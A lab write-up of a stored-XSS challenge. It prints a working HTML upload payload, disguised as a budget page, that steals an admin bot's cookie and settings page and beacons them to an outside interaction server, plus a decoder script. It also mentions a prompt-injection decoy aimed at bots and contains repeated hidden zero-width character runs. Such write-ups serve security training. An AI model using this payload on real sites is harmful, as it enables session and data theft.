← Back to Writeups
CUSTOMMediumWeb

Lab 271 — TeamPulse — Stored XSS via HTML File Upload

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#content_type_text_html_serving#cookie_exfiltration_via_docume#decoy_flag_elimination#interaction_server_oob_callbac#non_httponly_cookie_theft#path_based_data_exfiltration#same_origin_page_fetching#stored_xss_via_html_file_uploa

Lab 271 — TeamPulse — Stored XSS via HTML File Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-01 | Status: Solved Techniques: admin_bot_exploitation, content_type_text_html_serving, cookie_exfiltration_via_document_cookie, decoy_flag_elimination, interaction_server_oob_callback, non_httponly_cookie_theft, path_based_data_exfiltration, same_origin_page_fetching, stored_xss_via_html_file_upload

Summary

Task: collaborative project management app with file upload; HTML files served as text/html without sanitization, admin bot reviews uploads. Solution: upload HTML with JavaScript that reads admin's non-HttpOnly flag cookie and exfiltrates it via path-encoded Image beacons to Interaction Server.

Lab 271 — TeamPulse — Stored XSS via HTML File Upload — HackAdvisor

Description

TeamPulse is a collaborative project management platform built by PulseWork Inc. Teams use it to organize projects with kanban boards, share files, and communicate through threaded conversations. You have been given access to a workspace as a regular team member. Your mission is to find a way to steal the workspace administrator's sensitive session data. Explore the application's features — especially how files are handled when shared between team members. Pay attention to how uploaded content is served back to users. The workspace administrator periodically reviews files uploaded to shared projects for compliance purposes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A project management web app with file upload functionality. Uploaded HTML files are served back with Content-Type: text/html, enabling stored XSS. An admin bot (HeadlessChrome) periodically opens uploaded files. The goal is to steal the admin's sensitive data — specifically a non-HttpOnly flag cookie.

Analysis

Application reconnaissance

Logged in with user@test.com / password123 as Alex Chen (member role). The app is an Express/Node.js backend behind nginx/1.25.5 with: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Dashboard (/) — overview
  • Projects (/projects) — each project has Tasks, Files, Conversations tabs
  • Settings (/settings) — profile management
  • File upload at /projects/{id}/files/upload (multipart/form-data)
  • File serving at /files/{timestamp}-{hash}.{ext}

Key hint on the files page: "Uploaded files are automatically reviewed by a workspace administrator for compliance." — confirming an admin bot visits uploaded files.

Decoy flag detection

Every HTML response contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected via HTML comment and hidden div — a classic prompt injection honeypot. This was ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability identification

Uploaded a test HTML file containing <script>alert(1)</script>. The file was served at /files/1780351049683-625cc567.html with:

  • Content-Type: text/html — browser renders it as a full HTML page
  • No Content-Disposition: attachment header — file is displayed inline, not downloaded
  • No HTML sanitization applied to uploaded content

Response headers included X-Content-Type-Options: nosniff and X-XSS-Protection: 1; mode=block, but these don't prevent stored XSS when the server explicitly serves the file as text/html. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Cookie analysis

  • session cookie: HttpOnly, Secure, SameSite=Lax — cannot be read via document.cookie
  • flag cookie: NOT HttpOnly — readable via JavaScript

Solution

Step 1: Failed exfiltration via query string

The first payload used new Image().src = BASE + "x?t=cookie&d=" + encodeURIComponent(data) to beacon data. The admin bot executed it (11 requests to /x logged from HeadlessChrome/124.0.0.0), confirming XSS worked. However, the Interaction Server only logs the URL path, not query parameters — so all exfiltrated data was lost. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Path-based exfiltration

Redesigned the payload to encode all data into the URL path instead of query string:

  1. Base64-encode the data
  2. Make it URL-safe: / → _, + → -, = → .
  3. Chunk into 120-character path segments
  4. Beacon format: /D/{tag}/{seq}/{idx}of{total}/{base64chunk}

Step 3: Final payload

html
<!DOCTYPE html>
<html><head><title>Q1 Budget</title></head><body>
<h1>Budget Review</h1>
<script>
(function(){
var B="http://interact/2dacf007-9e32-44e0-a976-9b98dcdb7aa8/";
var s=0;
function e(t,d){
  var b=btoa(unescape(encodeURIComponent(String(d))));
  b=b.replace(/\//g,"_").replace(/\+/g,"-").replace(/=/g,".");
  var sz=120,tot=Math.ceil(b.length/sz)||1;
  for(var i=0;i<tot;i++){
    var c=b.substr(i*sz,sz)||"E";
    new Image().src=B+"D/"+t+"/"+s+"/"+i+"of"+tot+"/"+c;
    s++;
  }
}
// Exfiltrate cookies (including non-HttpOnly flag cookie)
e("CK",document.cookie||"NOCOOKIE");
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Also fetch admin's settings page for additional intel
fetch("/settings",{credentials:"include"}).then(function(r){
  return r.text();
}).then(function(t){
  var partSize=4000;
  for(var p=0;p<4;p++){
    var part=t.substring(p*partSize,(p+1)*partSize);
    if(part.length>0) e("SET"+p,part);
  }
});
})();
</script>
</body></html>

The payload was disguised with an innocuous title ("Q1 Budget") and heading to avoid suspicion.

Step 4: Upload and wait

Uploaded the HTML file to a shared project via /projects/{id}/files/upload. The admin bot reviewed it within seconds. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Decode exfiltrated data

The Interaction Server logged requests with path-encoded data. Decoded the CK (cookie) tag:

flag=FLAG{REDACTED}

The admin had a non-HttpOnly cookie named flag containing the real flag, separate from the HttpOnly session cookie.

Additional intel from the /settings page fetch confirmed the admin identity: Rachel Morrison (admin@pulsework.com, role=admin).

Decoding script

python
#!/usr/bin/env python3
# Decode interact-server path-encoded exfil values
import sys, base64, urllib.parse
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def dec(s):
    s = urllib.parse.unquote(s)
    # Reverse URL-safe base64 replacements
    s = s.replace("_", "/").replace("-", "+").replace(".", "=")
    try:
        return base64.b64decode(s).decode('utf-8', 'replace')
    except Exception as e:
        return f"[decode err {e}] raw={s}"

data = sys.argv[1:] or [l.strip() for l in sys.stdin if l.strip()]
for d in data:
    print("=" * 60)
    print(dec(d))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍